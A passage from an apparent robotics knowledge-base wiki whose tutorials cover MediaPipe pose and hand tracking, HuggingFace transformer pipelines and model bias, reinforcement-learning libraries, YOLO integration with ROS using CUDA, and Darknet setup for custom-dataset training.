ML solution for high-fidelity body pose tracking, inferring 33 3D landmarks and background segmentation mask on the whole body from RGB video frames. - -5. MediaPipe Holistic -The MediaPipe Holistic pipeline integrates separate models for the pose, face and hand components, each of which is optimized for its particular domain. - -6. MediaPipe Hair Segmentation -MediaPipe Hair Segmentation segments the hairs on the human face. - -7. MediaPipe Selfie Segmentation -MediaPipe Selfie Segmentation segments the prominent humans in the scene. It can run in real-time on both smartphones and laptops. - -Following are the solutions offered for the detection and tracking of everyday objects -1. Box tracking -The box tracking solution consumes image frames from a video or camera stream, and starts box positions with timestamps, indicating 2D regions of interest to track, and computes the tracked box positions for each frame. - -2. Instant Motion tracking -MediaPipe Instant Motion Tracking provides AR tracking across devices and platforms without initialization or calibration. It is built upon the MediaPipe Box Tracking solution. With Instant Motion Tracking, you can easily place virtual 2D and 3D content on static or moving surfaces, allowing them to seamlessly interact with the real-world environment. - -3. Objectron -MediaPipe Objectron is a mobile real-time 3D object detection solution for everyday objects. It detects objects in 2D images, and estimates their poses through a machine learning (ML) model, trained on the Objectron dataset. - -4. KNIFT -MediaPipe KNIFT is a template-based feature matching solution using KNIFT (Keypoint Neural Invariant Feature Transform). KNIFT is a strong feature descriptor robust not only to affine distortions, but to some degree of perspective distortions as well. This can be a crucial building block to establish reliable correspondences between different views of an object or scene, forming the foundation for approaches like template matching, image retrieval and structure from motion. - -The table below describes the support of the above models for currently available platforms: -![Figure 1. Mediapipe supported platforms](/assets/images/machine-learning/mediapipe_platforms.png) - -## Quickstart Guide -Mediapipe solutions are available for various platforms viz. Android, iOS, Python, JavaScript, C++. The guide at [Getting Started](https://google.github.io/mediapipe/getting_started/getting_started.html) comprises instructions for various platforms. - -For this section of the quick-start guide, we will introduce you to getting started using Python. -MediaPipe offers ready-to-use yet customizable Python solutions as a prebuilt Python package. MediaPipe Python package is available on [PyPI](https://pypi.org/project/mediapipe/) for Linux, macOS and Windows. - -1. Step 1 - Activate the virtual environment: - -``` -python3 -m venv mp_env && source mp_env/bin/activate -``` - -The above code snippet will create a virtual environment `mp_env` and start the virtual environment. - -2. Step 2 - Install MediaPipe Python package using the following command: - -``` -(mp_env)$ pip3 install mediapipe -``` - -You are all set! You can now start using mediapipe. A quickstart script for Mediapipe hands is present in the Example section. - -## Example - -The example code below is the example for Media-pipe hands pose estimation. Ensure that you have OpenCV installed. If not you can use the terminal command below to install OpenCV. -``` -pip3 install opencv-python -``` - -The code below shows the quick start example for Media-pipe hands. Appropriate comments have been added to the code which can be referred to understand the code. -``` -import cv2 -import mediapipe as mp -mp_drawing = mp.solutions.drawing_utils -mp_drawing_styles = mp.solutions.drawing_styles -mp_hands = mp.solutions.hands - -# For webcam input: -cap = cv2.VideoCapture(0) -with mp_hands.Hands( - model_complexity=0, - min_detection_confidence=0.5, - min_tracking_confidence=0.5) as hands: - while cap.isOpened(): - success, image = cap.read() - if not success: - print("Ignoring empty camera frame.") - # If loading a video, use 'break' instead of 'continue'. - continue - - # To improve performance, optionally mark the image as not writeable to - # pass by reference. - image.flags.writeable = False - image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) - results = hands.process(image) - - # Draw the hand annotations on the image. - image.flags.writeable = True - image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) - if results.multi_hand_landmarks: - for hand_landmarks in results.multi_hand_landmarks: - mp_drawing.draw_landmarks( - image, - hand_landmarks, - mp_hands.HAND_CONNECTIONS, - mp_drawing_styles.get_default_hand_landmarks_style(), - mp_drawing_styles.get_default_hand_connections_style()) - # Flip the image horizontally for a selfie-view display. - cv2.imshow('MediaPipe Hands', cv2.flip(image, 1)) - if cv2.waitKey(5) & 0xFF == 27: - break -cap.release() -``` - -## Summary -In Summary, Mediapipe is an amazing tool for running ML algorithms online. For common applications like human pose detection, hands pose estimation, etc this package eliminates the need to go over the tedious process of data collection, data labeling and training a deep learning model. However, the downside is that if object detection is needed for custom objects, users still need to go through the process of labeling and training a deep learning model. Nevertheless, using the APIs in the projects, users can focus more on using the output to create impactful applications. - - -## See Also: -- Gesture Control of your FireTV with Python [here](https://medium.com/analytics-vidhya/gesture-control-of-your-firetv-with-python-7d3d6c9a503b). -- MediaPipe Object Detection & Box Tracking [here](https://medium.com/analytics-vidhya/mediapipe-object-detection-and-box-tracking-82926abc50c2) -- Deep Learning based Human Pose Estimation using OpenCV and MediaPipe [here](https://medium.com/nerd-for-tech/deep-learning-based-human-pose-estimation-using-opencv-and-mediapipe-d0be7a834076) - -## References -- Mediapipe Documentation. [Online]. Available: https://google.github.io/mediapipe/. -- Getting Started Documentation. [Online]. Available: https://google.github.io/mediapipe/getting_started/getting_started.html -- Mediapipe Hands Architecture. [Online]. Available: https://arxiv.org/abs/2006.10214 -- MediaPipe: A Framework for Building Perception Pipelines [Online]. Available: https://arxiv.org/abs/1906.08172 - -/wiki/machine-learning/nlp_for_robotics/ ---- -date: 2022-02-05 -title: NLP for robotics -published: true ---- -NLP is a field of linguistics and machine learning focused on understanding everything related to human language. The aim of NLP tasks is not only to understand single words individually, but to be able to understand the context of those words. - -NLP can help in robotics by enabling robots to understand and respond to natural language commands. This could be used to give robots instructions, ask them questions, and provide feedback. NLP could also be used to enable robots to interpret and respond to human emotions, allowing them to interact more naturally with people. Additionally, NLP can be used to enable robots to learn from their environment and experiences, allowing them to become more autonomous and intelligent. _(BTW, this paragraph is written by a generative transformer)_ - -## Transformers - -Transformers are a type of neural network architecture used in natural language processing (NLP). They are based on the concept of self-attention, which allows the network to focus on specific parts of the input sentence while ignoring irrelevant words. Transformers are used for a variety of tasks, such as language modeling, machine translation, text summarization, and question answering. - -The architecture is based on the idea of self-attention, which allows the network to focus on specific parts of the input sentence while ignoring irrelevant words. This allows the network to better understand the context of the sentence and make more accurate predictions. - -The architecture of a transformer consists of an encoder and a decoder. The encoder takes in a sequence of words and produces a set of vectors that represent the meaning of the words. The decoder then takes these vectors and produces a prediction. - -Transformers have become increasingly popular in NLP due to their ability to capture long-term dependencies in text. They have been used to achieve state-of-the-art results in a variety of tasks, such as language modeling, machine translation, text summarization, and question answering. - -Transformers are a powerful tool for NLP and have revolutionized the field. They have enabled researchers to create models that can accurately capture the meaning of text and make accurate predictions. - -![Transformer Architecture simplified](/assets/images/machine-learning/NLP_image1.png) - -![Transformer Architecture](/assets/images/machine-learning/NLP_image2.png) - - -Encoder (left): The encoder receives an input and builds a representation of it (its features). This means that the model is optimized to acquire understanding from the input. - -Decoder (right): The decoder uses the encoder’s representation (features) along with other inputs to generate a target sequence. This means that the model is optimized for generating outputs. - -Each of these parts can be used independently, depending on the task: - -- Encoder-only models: Good for tasks that require understanding of the input, such as sentence classification and named entity recognition. -- Decoder-only models: Good for generative tasks such as text generation. -- Encoder-decoder models or sequence-to-sequence models: Good for generative tasks that require an input, such as translation or summarization. - -# Using Transformers - -In general, transformers are very large. With millions to tens of billions of parameters, training and deploying these models is a complicated undertaking. Furthermore, with new models being released on a near-daily basis and each having its own implementation, trying them all out is no easy task. An easy way to implement and fine-tune transformers is the HuggingFace library. - -## HuggingFace - -HuggingFace is an open-source library for Natural Language Processing (NLP) that provides state-of-the-art pre-trained models for a variety of tasks such as text classification, question answering, text generation, and more. It is built on top of the popular PyTorch and TensorFlow frameworks and is designed to be easy to use and extend. - -The library’s main features are: - -Ease of use: Downloading, loading, and using a state-of-the-art NLP model for inference can be done in just two lines of code. - -Flexibility: At their core, all models are simple PyTorch nn.Module or TensorFlow tf.keras.Model classes and can be handled like any other models in their respective machine learning (ML) frameworks. - -Simplicity: Hardly any abstractions are made across the library. The “All in one file” is a core concept: a model’s forward pass is entirely defined in a single file, so that the code itself is understandable and hackable. - -## Dependencies and Installation - -You will need either Tensorflow or PyTorch installed. - -Installing Tensorflow Guide: [Install TensorFlow 2](https://www.tensorflow.org/install/) - -Installing PyTorch Guide: [Start Locally | PyTorch](https://pytorch.org/get-started/locally/) - -You will also need HuggingFace’s Transformer library which can be installed through the below command - -```bash -pip install transformers -``` - -## Simple example 1: Text classification - -With the Transformer library, you can implement an NLP classification pipeline with just 3 lines of code. - -```python -# Importing the libraries -from transformers import pipeline - -# Load the model -classifier = pipeline('sentiment-analysis') - -# Inference -result = classifier('MRSD is an awesome course!') - -print(result) -``` -``` -Output: 'label': 'POSITIVE', 'score': 0.9998725652694702_ -``` -## - -## Simple example 2: Natural Language Generation - -```python -# Importing the libraries -from transformers import pipeline - -# Init generator -generator = pipeline(task="text-generation") - -# Run inference -results = generator("Hello, I'm a language model,", max_length=30, num_return_sequences=5) - -for idx, result in enumerate(results): print(str(idx) + "| " + result['generated_text'] + '\n') -``` - -``` -OUTPUT: - -0| Hello, I'm a language model, so I'm able to write with much more precision code than I would normally, but if I want to have - -1| Hello, I'm a language model, which means that anything that has a language model comes after you, but only when you really want, and never - -2| Hello, I'm a language model, you can't do that here. I wanted a language that is a perfect metaphor for what we live in. - -3| Hello, I'm a language model, but I could come back and say something like, we can put a value that says if a function is given - -4| Hello, I'm a language model, and these are some more examples. Here's a picture of what's wrong with me. - -``` - -## - -## Simple example 3: Multimodal representation - -```python -# Importing the libraries -from transformers import pipeline - -# VISUAL QUESTION ANSWERING PIPELINE -vqa = pipeline(task="vqa") - -# INPUTS -image = "https://huggingface.co/datasets/huggingface/documentation-images/resolve/main/pipeline-cat-chonk.jpeg" -question = "Where is the cat?" - -# PREDICTION -preds = vqa(image=image, question=question) -preds = [{"score": round(pred["score"], 4), "answer": pred["answer"]} for pred in preds] -``` - -![Input Image](/assets/images/machine-learning/NLP_image3.png) - - - -``` -OUTPUT: [ - - {'score': 0.911, 'answer': 'snow'}, - - {'score': 0.8786, 'answer': 'in snow'}, - - {'score': 0.6714, 'answer': 'outside'}, - - {'score': 0.0293, 'answer': 'on ground'}, - - {'score': 0.0272, 'answer': 'ground'} - -] -``` - - - -## Selecting the correct model - -Below is a table describing some of the basic pipeline identifiers and their use. - -![List of different pipelines](/assets/images/machine-learning/NLP_image4.png) - - -# Fine-tuning a pretrained model - -HuggingFace has a great colab notebook on fine-tuning a pre-trained model. The link to the notebook is below: - -[https://colab.research.google.com/github/huggingface/notebooks/blob/main/transformers_doc/en/tensorflow/training.ipynb](https://colab.research.google.com/github/huggingface/notebooks/blob/main/transformers_doc/en/tensorflow/training.ipynb) - - -# Bias and limitations - -If your intent is to use a pretrained model or a fine-tuned version in production, please be aware that, while these models are powerful tools, they come with limitations. The biggest of these is that, to enable pretraining on large amounts of data, researchers often scrape all the content they can find, taking the best as well as the worst of what is available on the internet. - -To give a quick illustration, let’s go back the example of a `fill-mask` pipeline with the BERT model: - -```python -from transformers import pipeline - -unmasker = pipeline("fill-mask", model="bert-base-uncased") -result = unmasker("This man works as a [MASK].") -print([r["token_str"] for r in result]) - -result = unmasker("This woman works as a [MASK].") -print([r["token_str"] for r in result]) -``` -``` -OUTPUT -['lawyer', 'carpenter', 'doctor', 'waiter', 'mechanic'] -['nurse', 'waitress', 'teacher', 'maid', 'prostitute'] -``` - -When asked to fill in the missing word in these two sentences, the model gives only one gender-free answer (waiter/waitress). The others are work occupations usually associated with one specific gender — and yes, prostitute ended up in the top 5 possibilities the model associates with “woman” and “work.” This happens even though BERT is one of the rare Transformer models not built by scraping data from all over the internet, but rather using apparently neutral data (it’s trained on the English Wikipedia and BookCorpus datasets). - -When you use these tools, you therefore need to keep in the back of your mind that the original model you are using could very easily generate sexist, racist, or homophobic content. Fine-tuning the model on your data won’t make this intrinsic bias disappear. - - -/wiki/machine-learning/python-libraries-for-reinforcement-learning/ ---- -date: 2020-12-07 -title: Python libraries for Reinforcement Learning ---- -**Reinforcement Learning (RL)** is a machine learning approach for teaching agents how to solve tasks by trial and error. More specifically, RL is mostly concerned with how software agents should take actions in an environment in order to maximize its cumulative reward. The application of RL, as it seeks a solution to balance exploration and exploitation, ranges from Resource Management, Traffic Light Control, Recommendation, and Advertising, to Robotics. The successes of deep learning and reinforcement learning area in recent years have led many researchers to develop methods to control robots using RL with the motivation to automate the process of designing sensing, planning, and control algorithms by letting the robot learn them autonomously. This post gives a brief introduction to a few popular RL libraries in the Robotics context, from beginning to immediate, to advanced level users. At last, we will provide general tips for a more in-depth study on RL topics and link to a concrete example of using RL to formulate a self-driving agent. - -## [Spinning up](https://spinningup.openai.com/en/latest/) - -If you are new to RL, [Spinning up](https://spinningup.openai.com/en/latest/) will provide you a comfortable jumpstart to get you started. As part of a new education initiative at OpenAI, Spinning up gives the formula to learn RL from scratch with the following core components: -- A short introduction to RL terminology, kinds of algorithms, and basic theory. -- A curated list of important papers organized by topic to familiarize with RL concepts on Model-Free RL, Model-based RL, and safe RL. -- Well-documented, short, standalone implementations of Vanilla Policy Gradient (VPG), Trust Region Policy Optimization (TRPO), Proximal Policy Optimization (PPO), Deep Deterministic Policy Gradient (DDPG), Twin Delayed DDPG (TD3), and Soft Actor-Critic (SAC). -- A few exercises to serve as warm-ups. -- A list of challenges and requests in terms of RL research topics. - -### Hello World with Spinning Up - -The best way to get a feel for how deep RL algorithms perform is to just run them. We provide a Hello World running [Proximal Policy Optimization (PPO)](https://openai.com/blog/openai-baselines-ppo/#ppo) With Spinning Up, that’s as easy as: -``` -python -m spinup.run ppo --env CartPole-v1 --exp_name hello_world -``` -and it hints at the standard way to run any Spinning Up algorithm from the command line: -``` -python -m spinup.run [algo name] [experiment flags] -``` -And you could also specify if you want to use a PyTorch version or Tensorflow version of an algorithm, just run with -``` -python -m spinup.run [algo]_pytorch [experiment flags] -``` -or -``` -python -m spinup.run [algo]_tf1 [experiment flags] -``` -Otherwise, the runner will look in `spinup/user_config.py` for which version it should default to for that algorithm. ->If you are using ZShell: ZShell interprets square brackets as special characters. Spinning Up uses square brackets in a few ways for command line arguments; make sure to escape them, or try the solution recommended here if you want to escape them by default. - -one could find more details about PPO from the OpenAI baseline [here](https://openai.com/blog/openai-baselines-ppo/). - - -## [Stable Baseline](https://github.com/hill-a/stable-baselines) - -After a deep familiarization with RL concepts and learning from standard implementations of typical RL algorithms, one may refer to [Stable Baseline](https://github.com/hill-a/stable-baselines) for a set of improved implementations of RL algorithms. Stable Baseline is an extension to OpenAI [Baselines](https://github.com/openai/baselines), with: -- A collection of pre-trained agents with -- Unified structure for all algorithms -- PEP8 compliant (unified code style) -- Documented functions and classes -- More tests & more code coverage -- Additional algorithms: SAC and TD3 (+ HER support for DQN, DDPG, SAC, and TD3). - -One may find himself or herself confused with the plethora of algorithms provided. As for which algorithm to use, Stable Baseline provides detailed instruction on choosing the provided algorithms with narrowing down the actions to be discrete or continuous, whether you can parallelize your training or not, and how you intend to achieve that ..., and provides a few general tips to research work related to RL: -- Read about RL and Stable Baselines -- Do quantitative experiments and hyperparameter tuning if needed -- Evaluate the performance using a separate test environment -- For better performance, increase the training budget -more details could be found in this [article](https://stable-baselines.readthedocs.io/en/master/guide/rl_tips.html). - -### Hello World with Stable Baseline -Please follow the instructions [here](https://stable-baselines.readthedocs.io/en/master/guide/install.html) to install Stable Baseline with the appropriate systems. - ->Stable-Baselines supports Tensorflow versions from 1.8.0 to 1.15.0, and does not work on Tensorflow versions 2.0.0 and above. PyTorch support is done in Stable-Baselines3 - -With Stable Baselines, training a PPO agent is as simple as: -``` -from stable_baselines import PPO2 - -# Define and train a model in one line of code ! -trained_model = PPO2('MlpPolicy', 'CartPole-v1').learn(total_timesteps=10000) -# you can then access the gym env using trained_model.get_env() -``` -And Stable Baselines provides a [Colab Notebook](https://colab.research.google.com/github/Stable-Baselines-Team/rl-colab-notebooks/blob/master/stable_baselines_getting_started.ipynb) for illustration. - - -## [RLlib](https://docs.ray.io/en/master/rllib.html) - -If one is looking for a Fast and Parallel RL platform, Ray and RLlib would be the go-to. Ray is more than just a library for multi-processing; Ray’s real power comes from the RLlib and Tune libraries that leverage this capability for reinforcement learning. It enables you to scale training to large-scaled distributed servers, or just take advantage of the parallelization properties to more efficiently train using your own laptop. - -RLlib, then, serves as an open-source library for reinforcement learning that offers both high scalability and a unified API for a variety of applications. RLlib natively supports TensorFlow, TensorFlow Eager, and PyTorch, but most of its internals are framework agnostic. An overview of RLlib's architecture could be illustrated with the graph here: -![RLlib Architecture](https://docs.ray.io/en/master/_images/rllib-stack.svg) - -To get started, take a look over the [custom env example](https://github.com/ray-project/ray/blob/master/rllib/examples/custom_env.py) and the API [documentation](https://docs.ray.io/en/master/rllib-toc.html). If you want to develop custom algorithms with RLlib, RLlib also provides detailed [instructions](https://docs.ray.io/en/master/rllib-concepts.html) to do so. - -### Hello World with RLlib - -RLlib has extra dependencies on top of `ray`. First, you’ll need to install either `PyTorch` or `TensorFlow`. Then, install the RLlib module: -``` -pip install 'ray[rllib]' # also recommended: ray[debug] -pip install gym -``` -Then, you could have your first RL agent working with a standard, OpenAI Gym environment: -``` -import ray -from ray.rllib import agents -ray.init() # Skip or set to ignore if already called -config = {'gamma': 0.9, - 'lr': 1e-2, - 'num_workers': 4, - 'train_batch_size': 1000, - 'model': { - 'fcnet_hiddens': [128, 128] - }} -trainer = agents.ppo.PPOTrainer(env='CartPole-v0', config=config) -results = trainer.train() -``` -The `config` dictionary is the configuration file, which details the setup to influence the number of layers and nodes in the network by nesting a dictionary called a model in the config dictionary. Once you have specified our configuration, calling the train() method on the trainer object will send the environment to the workers and begin collecting data. Once enough data is collected (1,000 samples according to the example settings above) the model will update and send the output to a new dictionary called results. - -## Summary -To summarize, we provide a short introduction to three of the popular RL libraries in this post, while **Spinning Up** provides a friendly walk-through of the core RL concepts along with examples, **Stable Baselines** provides an efficient implementation to most of the popular RL algorithms. On the other hand, -RLlib offers scalability. Note there is no silver bullet in RL, depending on your needs and problem, you may choose one or the other platform, or algorithm. But if you decide to have your own implementations instead of using the library, we recommend the following tips: -- Read the original paper several times -- Read existing implementations (if available) -- Validate the implementation by making it run on harder and harder ends (you can compare results against the RL zoo) and Always run hyperparameter optimization - - -## See Also: -- A survey on RL with Robotics could be found [here](https://www.ias.informatik.tu-darmstadt.de/uploads/Publications/Kober_IJRR_2013.pdf). -- Applying RL Algorithms for [real world problems](https://towardsdatascience.com/applications-of-reinforcement-learning-in-real-world-1a94955bcd12) and [Robotics field](https://towardsdatascience.com/reinforcement-learning-for-real-world-robotics-148c81dbdcff). -- A concrete [project](https://mrsdprojects.ri.cmu.edu/2020teamd/) of formulating an RL-driven self-driving agent in Simulation for safety. - -## References -- J. Achiam, “Spinning Up in Deep RL,” OpenAI, 02-Sep-2020. [Online]. Available: https://openai.com/blog/spinning-up-in-deep-rl/. -- Hill-A, “hill-a/stable-baselines,” GitHub. [Online]. Available: https://github.com/hill-a/stable-baselines. -- Ray-Project, “ray-project/ray.” [Online]. Available: https://github.com/ray-project/ray. - -/wiki/machine-learning/ros-yolo-gpu/ ---- -# Jekyll 'Front Matter' goes here. Most are set by default, and should NOT be -# overwritten except in special circumstances. -# You should set the date the article was last updated like this: -date: 2021-04-06 # YYYY-MM-DD -# This will be displayed at the bottom of the article -# You should set the article's title: -title: YOLO Integration with ROS and Running with CUDA GPU -# The 'title' is automatically displayed at the top of the page -# and used in other parts of the site. ---- - -Integrating You Only Look Once (YOLO), a real time object detection algorithm commonly used in the localization task, with ROS might pose a real integration challenge. There are many steps that are not well documented when installing the package in ROS. There is even more difficulty if one tries to switch from using the default CPU computation to using CUDA accelerated GPU computation as a ROS package. - -This article serves as a step-by-step tutorial of how to integrate YOLO in ROS and enabling GPU acceleration to ensure real-time performance. The tutorial will detail two main aspects of the installation: integration with ROS and setting up CUDA. The CUDA acceleration section is stand-alone, and if you have already installed YOLO and want GPU acceleration, you can simply skip the first part. - ---- -## Integrating YOLO with ROS -![YOLO Demo](/assets/images/machine-learning/yolo_demo.png) - -To install YOLO in ROS, we will use a YOLO ROS wrapper GitHub repository [darknet_ros](https://github.com/leggedrobotics/darknet_ros). You can simply follow their instructions in the README or follow the instructions below. - -Before you start the integration, make sure you have prepared your pre-trained YOLO model weights and configurations. Based on the detection task, the pre-trained model weights may differ. If your task requires objects that are not included in the default YOLO dataset (which uses [VOC](https://pjreddie.com/projects/pascal-voc-dataset-mirror/) or [COCO](https://cocodataset.org/#home) dataset to train), you will need to search for other pre-trained open-source projects and download their model weights and configurations to your local machine. Otherwise, you would need to train YOLO from scratch with your own dataset. The details will not be included in this article, but you may find this article helpful in learning how to do so: [Tutorial](https://blog.roboflow.com/training-yolov4-on-a-custom-dataset/) - -### Requirements - -- Ubuntu: 18.04 - -- ROS: Melodic - -- YOLO: The official YOLO ROS wrapper GitHub repo [darknet_ros](https://github.com/leggedrobotics/darknet_ros) currently only supports YOLOv3 and below. If you are using YOLOv4, try this repo instead [yolo_v4](https://github.com/tom13133/darknet_ros/tree/yolov4) - -### Steps -1. #### Download the repo: - - ```cd catkin_workspace/src``` - - ```git clone --recursive git@github.com:leggedrobotics/darknet_ros.git``` - - **Note: make sure you have `--recursive` tag when downloading the darknet package** - - ```cd ../``` - -2. #### Build: - - ```catkin_make -DCMAKE_BUILD_TYPE=Release``` - -3. #### Using your own model: - - Within `/darknet_ros/yolo_network_config`: - - 1. Add .cfg and .weights (YOLO detection model weights and configs) into /cfg and /weights folder - - 2. Within /cfg, run `dos2unix your_model.cfg` (convert it to Unix format if you have problem with Windows to Unix format transformation) - - Within `/darknet_ros/config`: - - 1. Modify "ros.yaml" with the correct camera topic - - 2. Create "your_model.yaml" to configure the model files and detected classes - - Within `/darknet_ros/launch`: - - 1. Modify "darknet_ros.launch" with the correct YAML file ("your_model.yaml") - -4. #### Run: - - ```catkin_make``` - - ```source devel/setup.bash``` - - ```roslaunch darknet_ros darknet_ros.launch``` - - After launching the ROS node, a window will automatically appear that will show the RGB stream and detected objects. You can also check the stream in [RVIZ](http://wiki.ros.org/rviz). - -### ROS Topics -* #### Published ROS topics: - - * object_detector (`std_msgs::Int8`) Number of detected objects - * bounding_boxes (`darknet_ros_msgs::BoundingBoxes`) Bounding boxes (class, x, y, w, h) details are shown in `/darknet_ros_msgs` - * detection_image (`sensor_msgs::Image`) Image with detected bounding boxes - ---- -## Setting up YOLO with CUDA GPU Acceleration - -You may find that running YOLO through the CPU is very slow. To increase run-time performance, you can accelerate it by using a CUDA enabled GPU. - -**Note: darknet currently only supports (last updated 2021) CUDA 10.2 with cuDNN 7.6.5 and below. If you are using CUDA 11+ or cuDNN 8.0+, you probably need to downgrade CUDA and cuDNN for darknet to work.** - -Here are the detailed instructions on installing CUDA 10.2 and cuDNN 7.6.5: - -### Installing CUDA 10.2: -We will follow most of the instructions shown in this [tutorial](https://medium.com/@exesse/cuda-10-1-installation-on-ubuntu-18-04-lts-d04f89287130) - -**Note: If there is a `usr/local/cuda` directory in your local machine, remove it (`sudo rm -rf /usr/local/cuda`) before proceeding with the following steps below.** \ -*Also, the first step will remove your display driver. This is ok, as when CUDA is reinstalled your display driver will also reinstall automatically.* - -1. Remove all CUDA related files already in the machine: - - ``` - sudo rm /etc/apt/sources.list.d/cuda* - sudo apt remove --autoremove nvidia-cuda-toolkit - sudo apt remove --autoremove nvidia-* - ``` - -2. Install CUDA 10.2: - - ``` - sudo apt update - sudo apt install cuda-10-2 - sudo apt install libcudnn7 - ``` - -3. Add CUDA into path: - - ```sudo vi ~/.profile``` - - Add below at the end of .profile: - ``` - # set PATH for cuda installation - if [ -d "/usr/local/cuda/bin/" ]; then - export PATH=/usr/local/cuda/bin${PATH:+:${PATH}} - export LD_LIBRARY_PATH=/usr/local/cuda/lib64${LD_LIBRARY_PATH:+:${LD_LIBRARY_PATH}} - fi - ``` - -4. Check CUDA version (make sure it is 10.2):\ - ```nvcc -V``` - -### Installing cuDNN separately: -1. Go to this [page](https://developer.nvidia.com/rdp/cudnn-archive), you may need to register an account with NVIDIA to access that link. - -2. Download all three .deb: runtime/developer/code-sample (make sure that it's the correct version: `cuDNN 7.6.5 with CUDA 10.2`) - -3. In Terminal: - - Go to the package location and install the runtime library, developer library, and (optional) code samples: - - ``` - sudo dpkg -i libcudnn7_7.6.5.32–1+cuda10.2_amd64.deb - sudo dpkg -i libcudnn7-dev_7.6.5.32–1+cuda10.2_amd64.deb - sudo dpkg -i libcudnn7-doc_7.6.5.32–1+cuda10.2_amd64.deb - ``` - -4. Check cuDNN version: - - ```/sbin/ldconfig -N -v $(sed 's/:/ /' <<< $LD_LIBRARY_PATH) 2>/dev/null | grep libcudnn``` - -5. Optional: - - If you cannot locate cudnn.h, or the later compilation fails with `not found cudnn.h` message: - - Copy `cudnn.h` (in `/usr/include`) to (`/usr/local/cuda/include`):\ - `sudo cp /usr/include/cudnn.h /usr/local/cuda/include` - - Copy `libcudnn*` (in `/usr/lib/x86_64-linux-gnu`) to (`/usr/local/cuda/lib64`):\ - `sudo cp /usr/lib/x86_64-linux-gnu/libcudnn* /usr/local/cuda/lib64` - - -## Running YOLO with GPU Acceleration: - -The process listed below will work whether you are using YOLO through the darknet_ros package or as a standalone program: - -1. Modify /darnet_ros/darknet/Makefile: - ``` - GPU = 1 - CUDNN =1 - OPENCV = 1 - ``` - - Add your GPU Architecture (ARCH) value. - **Note: you can find your ARCH value online [here](https://arnon.dk/matching-sm-architectures-arch-and-gencode-for-various-nvidia-cards/).** - - The values specified below correspond to a NVIDIA RTX 2070: - - ``` - -gencode=arch=compute_75,code=compute_75 - ``` - -2. Run `make` in `/darknet_ros/darknet` - -3. Modify `/darknet_ros/darknet_ros/CmakeList.txt`: - - ``` - -gencode=arch=compute_75,code=compute_75 - ``` - -4. Run `catkin_make` in the `/catkin_ws` containing the `darknet_ros` package - -**GPU Acceleration is Ready!** - ---- -## Summary -In this tutorial, we went through the procedures for integrating YOLO with ROS by deploying a ROS wrapper. Depending on the task, the YOLO model weights and configuration files should be added into the ROS package folder. By modifying the ROS wrapper configuration and launch file, we were able to run YOLO in ROS Melodic. - -We also demonstrated how to setup CUDA and cuDNN to run YOLO in real-time. By following our step-by-step instructions, YOLO can run with realtime performance. - -## See Also -- [realsense_camera](https://roboticsknowledgebase.com/wiki/sensing/realsense/) -- [ROS](https://roboticsknowledgebase.com/wiki/common-platforms/ros/ros-intro/) - -## Further Reading -- [CUDA_tutorial](https://medium.com/@exesse/cuda-10-1-installation-on-ubuntu-18-04-lts-d04f89287130) -- [darknet_ros](https://github.com/leggedrobotics/darknet_ros) -- [darknet_ros_3d](https://github.com/IntelligentRoboticsLabs/gb_visual_detection_3d) - -## References -- https://github.com/leggedrobotics/darknet_ros -- https://medium.com/@exesse/cuda-10-1-installation-on-ubuntu-18-04-lts-d04f89287130 -- https://pjreddie.com/projects/pascal-voc-dataset-mirror/ -- https://cocodataset.org/#home -- https://github.com/tom13133/darknet_ros/tree/yolov4 - - -/wiki/machine-learning/train-darknet-on-custom-dataset/ ---- -# date the article was last updated like this: -date: 2021-04-27 # YYYY-MM-DD -# Article's title: -title: Train Darknet on Custom Dataset ---- - -This serves as a tutorial for how to use YOLO and Darknet to train your system to detect classes of objects from a custom dataset. We go over installing darknet dependencies, accessing the darknet repository, configuring your dataset images and labels to work with darknet, editing config files to work with your dataset, training on darknet, and strategies to improve the mAP between training sessions. - -## Install Darknet Dependencies -### Step 1: -Install Ubuntu 18.04 -Make sure you have [GPU with CC >= 3.0](https://en.wikipedia.org/wiki/CUDA#GPUs_supported) - - -### Step 2: -[CMake >= 3.18](https://cmake.org/download/) -Download Unix/Linux Source - -### Step 3: -[CUDA 10.2](https://developer.nvidia.com/cuda-10.2-download-archive) - -*Option 1:* -Make a NVIDIA account -Select Linux -> x86_64 -> Ubuntu -> 18.04 -> deb (local) -Follow instructions & do Post-installation Actions - -*Option 2:* -``` -$ wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1804/x86_64/cuda-ubuntu1804.pin -$ sudo mv cuda-ubuntu1804.pin /etc/apt/preferences.d/cuda-repository-pin-600 -$ wget https://developer.download.nvidia.com/compute/cuda/10.2/Prod/local_installers/cuda-repo-ubuntu1804-10-2-local-10.2.89-440.33.01_1.0-1_amd64.deb -$ sudo dpkg -i cuda-repo-ubuntu1804-10-2-local-10.2.89-440.33.01_1.0-1_amd64.deb -$ sudo apt-key add /var/cuda-repo-10-2-local-10.2.89-440.33.01/7fa2af80.pub -$ sudo apt-get update -$ sudo apt-get -y install cuda -$ nano /home/$USER/.bashrc -``` -Add the following to the bottom of the file -``` -export PATH="/usr/local/cuda/bin:$PATH" -export LD_LIBRARY_PATH="/usr/local/cuda/lib64:$LD_LIBRARY_PATH" -``` -Save the file -Close and reopen terminal -Test for success with: -```$ nvcc --version``` - -**If it fails:** -Restart computer -Close and reopen terminal -``` -$ sudo apt-get autoremove -$ sudo apt-get update -$ sudo apt-get -y install cuda -``` - -### Step 4: -**OpenCV == 3.3.1 download from OpenCV official site:** -``` -$ git clone https://github.com/opencv/opencv -$ git checkout 3.3.1 -``` - -### Step 5: -**Download cuDNN v8.0.5 for CUDA 10.2:** -[cuDNN v8.0.5 for CUDA 10.2](https://developer.nvidia.com/rdp/cudnn-archive) - -**Download cuDNN Library for Linux (x86_64):** -[cuDNN Library for Linux (x86_64)](https://docs.nvidia.com/deeplearning/sdk/cudnn-install/index.html#installlinux-tar) - -**Extract it** -``` -$ tar -xzvf cudnn-10.2-linux-x64-v8.1.0.77.tgz -``` -**Copy files to CUDA Toolkit directory** -``` -$ sudo cp cuda/include/cudnn*.h /usr/local/cuda/include -$ sudo cp -P cuda/lib64/libcudnn* /usr/local/cuda/lib64 -$ sudo chmod a+r /usr/local/cuda/include/cudnn*.h /usr/local/cuda/lib64/libcudnn* -``` -**If it fails:** -Download cuDNN Runtime Library for Ubuntu18.04 x86_64 (Deb) -Download cuDNN Developer Library for Ubuntu18.04 x86_64 (Deb) - -if there is still an issue please visit the reference site. - -## Setting Up a Custom Dataset for Darknet -### Step 1: Get the images -Collect the images for your dataset (either download them from open source datasets or capture images of your own). The images must be 